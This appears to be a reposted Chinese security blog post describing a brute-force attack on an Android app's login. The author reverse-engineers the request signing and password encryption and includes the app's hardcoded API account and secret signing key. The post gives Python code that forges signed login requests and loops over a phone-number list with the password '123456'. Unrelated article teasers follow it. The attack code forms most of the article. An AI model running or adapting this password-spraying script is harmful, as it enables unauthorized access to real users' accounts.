【网络安全】记一次APP登录爆破

server/2024/11/14 19:08:53/

使用工具

  1. 安卓12

  2. jadx-gui

抓取登录HTTP请求包

  1. 安装burp证书,并抓取登录请求。
POST /loginUser HTTP/1.1
Host: api.xxxx.xxxxx.comapiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  1. 分析登录请求包中需要五个参数
  1. apiaccount
  2. sign
  3. enc
  4. phone
  5. timestamp

分析参数

apiaccount

搜索关键词
image.png

此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

phone

手机号

timestamp

  1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())
    image.png

  2. 改写为python代码

import time
timestamp = str(int(time.time()*1000)) 

sign

image.png
image.png
image.png

image.png
image.png

public static O d(String str, String str2) {
HashMap hashMap = new HashMap();
hashMap.put("phone", str);
hashMap.put("enc", e(str2));
return c.g.b.f.b.c(f.h(), a(hashMap));
}private static Map<String, String> a(Map<String, String> map) {
HashMap hashMap = new HashMap();
hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");
hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));
TreeMap treeMap = new TreeMap();
treeMap.putAll(hashMap);
if (map != null) {
treeMap.putAll(map);
}
hashMap.put("sign", a((SortedMap<String, String>) treeMap));
if (map != null) {
hashMap.putAll(map);
}
return hashMap;
}private static String a(SortedMap<String, String> sortedMap) {
StringBuffer stringBuffer = new StringBuffer();
for (Map.Entry<String, String> entry : sortedMap.entrySet()) {
if (!TextUtils.isEmpty(entry.getValue())) {
stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");
}
}
stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");
return D.d(stringBuffer.toString()).toUpperCase();
}
private static byte[] a(byte[] bArr, String str) {
if (bArr != null && bArr.length > 0) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(str);
messageDigest.update(bArr);
return messageDigest.digest();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
}
return null;
}private static String q(byte[] bArr) {
int length;
if (bArr != null && (length = bArr.length) > 0) {
char[] cArr = new char[length << 1];
int i2 = 0;
for (int i3 = 0; i3 < length; i3++) {
int i4 = i2 + 1;
char[] cArr2 = f10685a;
cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];
i2 = i4 + 1;
cArr[i4] = cArr2[bArr[i3] & 15];
}
return new String(cArr);
}
return "";
}

sign参数组合

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

enc

str = phone``str2 = password
image.png
image.png

image.png
image.png

image.png

image.png

image.png

image.png

image.png

大致流程

  1. 输入密码

  2. 密码 + 随机10位salt

    1. "password=" + "密码" + "&salt=" + salt
  3. 使用此函数操作密钥

private static byte[] b(String str) throws UnsupportedEncodingException {
int i2;
byte b2;
int i3;
byte b3;
int i4;
byte b4;
int i5;
byte b5;
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = str.getBytes("US-ASCII");
int length = bytes.length;
int i6 = 0;
while (i6 < length) {
while (true) {
i2 = i6 + 1;
b2 = f16023b[bytes[i6]];
if (i2 >= length || b2 != -1) {
break;
}
i6 = i2;
}
if (b2 == -1) {
break;
}
while (true) {
i3 = i2 + 1;
b3 = f16023b[bytes[i2]];
if (i3 >= length || b3 != -1) {
break;
}
i2 = i3;
}
if (b3 == -1) {
break;
}
stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));
while (true) {
i4 = i3 + 1;
byte b6 = bytes[i3];
if (b6 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b4 = f16023b[b6];
if (i4 >= length || b4 != -1) {
break;
}
i3 = i4;
}
if (b4 == -1) {
break;
}
stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));
while (true) {
i5 = i4 + 1;
byte b7 = bytes[i4];
if (b7 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b5 = f16023b[b7];
if (i5 >= length || b5 != -1) {
break;
}
i4 = i5;
}
if (b5 == -1) {
break;
}
stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));
i6 = i5;
}
return stringBuffer.toString().getBytes("iso8859-1");
}
  1. RSA加密
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(1, publicKey);
return cipher.doFinal(bArr);
  1. 使用此函数处理加密后的结果
public static String a(byte[] bArr) {
StringBuffer stringBuffer = new StringBuffer();
int length = bArr.length;
int i2 = 0;
while (true) {
if (i2 >= length) {
break;
}
int i3 = i2 + 1;
int i4 = bArr[i2] & 255;
if (i3 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[(i4 & 3) << 4]);
stringBuffer.append("==");
break;
}
int i5 = i3 + 1;
int i6 = bArr[i3] & 255;
if (i5 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[(i6 & 15) << 2]);
stringBuffer.append("=");
break;
}
int i7 = i5 + 1;
int i8 = bArr[i5] & 255;
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
stringBuffer.append(f16022a[i8 & 63]);
i2 = i7;
}
return stringBuffer.toString();
}

改写为python代码

def main(phone,password):
url = "https://xx.com/loginUser"
sign = ""
enc = ""
tmtp = str(int(time.time() * 1000))salt = "1234567890"  # 随机生成的10个数字
enc_ori = "password=" + password + "&salt=" + salt
enc = gen_enc(enc_ori)sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'sign = gen_sign(sign_ori)
print(quote_plus(enc))data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtpres = requests.post(url=url, data=data)
print(res.text)

image.png

加载字典爆破

def main(phone, password):
res = requests.post(url=url, headers=headers, data=data)
print(res.text)if __name__ == "__main__":
with open("phone","r") as f:
for i in f.readlines():
main(i.strip(),"123456")

http://www.ppmy.cn/server/141932.html

相关文章

单片机中的BootLoader(重要的概念讲解)

文章目录 一、链接地址和执行地址1. 链接地址(Load Address)2. 执行地址(Execution Address)链接地址与执行地址的关系实际工作流程总结二、相对跳转和绝对跳转1. 相对跳转(Relative Jump)2. 绝对跳转(Absolute Jump)3. `BX` 和 `BL` 指令总结三、散列文件1. 散列文件的…

【论文阅读】小样本学习相关研究

相关文献 Generalizing from a Few Examples: A Survey on Few-Shot Learning Author: YAQING WANG、QUANMING YAO、JAMES T. KWOK、LIONEL M. NIAbstract: Artificial intelligence succeeds in data-intensive applications, but it lacks the ability of learning from a …

2024-09-01 - 分布式集群网关 - LoadBalancer - 阿里篇 - 流雨声

摘要 通过公有云部署创建类似 MateLB 的应用负载&#xff0c;可以更加方便的对系统资源进行合理规划。 应用实践 CCM提供Kubernetes与阿里云基础产品&#xff08;例如CLB、VPC等&#xff09;对接的能力&#xff0c;支持在同一个CLB后端挂载集群内节点和集群外服务器&#xf…

力扣 LeetCode 977. 有序数组的平方(Day1:数组)

解题思路&#xff1a; 方法一&#xff1a;先平方再快排 方法二&#xff1a;双指针 因为可能有负数&#xff0c;所以对于一个数组 [ -5 , -3 , 0 , 2 , 4 ] 可以从两边向内靠拢&#xff0c;最大值一定出现在两端 设置指针 i 和指针 j 分别从左右两边靠拢 因为要从小到大排序…

新手小白学习docker第六弹------Docker常规安装(安装tomcat、mysql、redis)

目录 1 总体步骤2 安装tomcat2.1 搜索镜像2.2 拉取镜像2.3 查看镜像2.4 启动镜像2.5 访问猫首页 3 安装mysql3.1 搜索镜像3.2 拉取镜像3.3 启动镜像 4 安装redis4.1 拉取镜像4.2 启动镜像&#xff08;法1基础版&#xff09;4.3 配置文件4.3.1 在宿主机下新建目录 /app/redis4.3…

Jmeter中的配置原件(一)

配置原件 1--CSV Data Set Config 用途 参数化测试&#xff1a;从CSV文件中读取数据&#xff0c;为每个请求提供不同的参数值。数据驱动测试&#xff1a;使用外部数据文件来驱动测试&#xff0c;使测试更加灵活和可扩展。 配置步骤 准备CSV文件 创建一个CSV文件&#xff0c…

C# 单例模式的多种实现

单例模式介绍 单例模式是一种创建型设计模式&#xff0c;它主要确保在一个类只有一个实例&#xff0c;并提供一个全局访问点来获取该实例。在C#中&#xff0c;有多种方式实现单例模式&#xff0c;每种方式都有其特定的使用场景和注意事项。 设计模式的作用 提高代码的可重用性&…

阿里云通义大模型团队开源Qwen2.5-Coder:AI编程新纪元

&#x1f680; 11月12日&#xff0c;阿里云通义大模型团队宣布开源通义千问代码模型全系列&#xff0c;共6款Qwen2.5-Coder模型。这些模型在同等尺寸下均取得了业界最佳效果&#xff0c;其中32B尺寸的旗舰代码模型在十余项基准评测中均取得开源最佳成绩&#xff0c;成为全球最强…